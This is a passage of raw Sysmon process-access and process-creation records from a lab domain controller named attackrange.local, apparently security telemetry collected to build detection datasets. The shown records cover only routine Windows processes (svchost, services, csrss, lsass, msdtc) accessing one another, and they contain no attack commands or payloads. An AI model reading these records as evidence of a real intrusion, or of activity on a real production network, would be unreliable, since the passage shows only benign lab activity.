:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.477{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+316d|C:\Windows\SYSTEM32\ntdll.dll+7f70d|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+29c02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.435{A5F018FF-294D-5F80-FA00-000000007F01}2100C:\Windows\System32\msdtc.exe2001.12.10941.16384 (rs1_release.160715-1616)Microsoft Distributed Transaction Coordinator ServiceMicrosoft® Windows® Operating SystemMicrosoft CorporationMSDTC.EXEC:\Windows\System32\msdtc.exeC:\Windows\system32\NT AUTHORITY\NETWORK SERVICE{A5F018FF-28BF-5F80-E403-000000000000}0x3e40SystemMD5=308F08347923DEEDE7BC03EC7D485841,SHA256=72DB45CA11FE635DF9F8273C38CBEFB8DF5362ADA0CBF6D2B1E570365DC700C0,IMPHASH=D02F3DF332409C5D3F34BA2D38FC4ED4{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exeC:\Windows\system32\services.exe 10341000x80000000000000004719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.431{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BD-5F80-0A00-000000007F01}8521144C:\Windows\system32\services.exe{A5F018FF-294D-5F80-F900-000000007F01}4488C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-294D-5F80-F900-000000007F01}4488C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294D-5F80-F900-000000007F01}4488C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BD-5F80-0A00-000000007F01}852912C:\Windows\system32\services.exe{A5F018FF-294D-5F80-F900-000000007F01}4488C:\Windows\System32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+316d|C:\Windows\SYSTEM32\ntdll.dll+7f70d|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+29c02|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.165{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:41.040{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004883Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 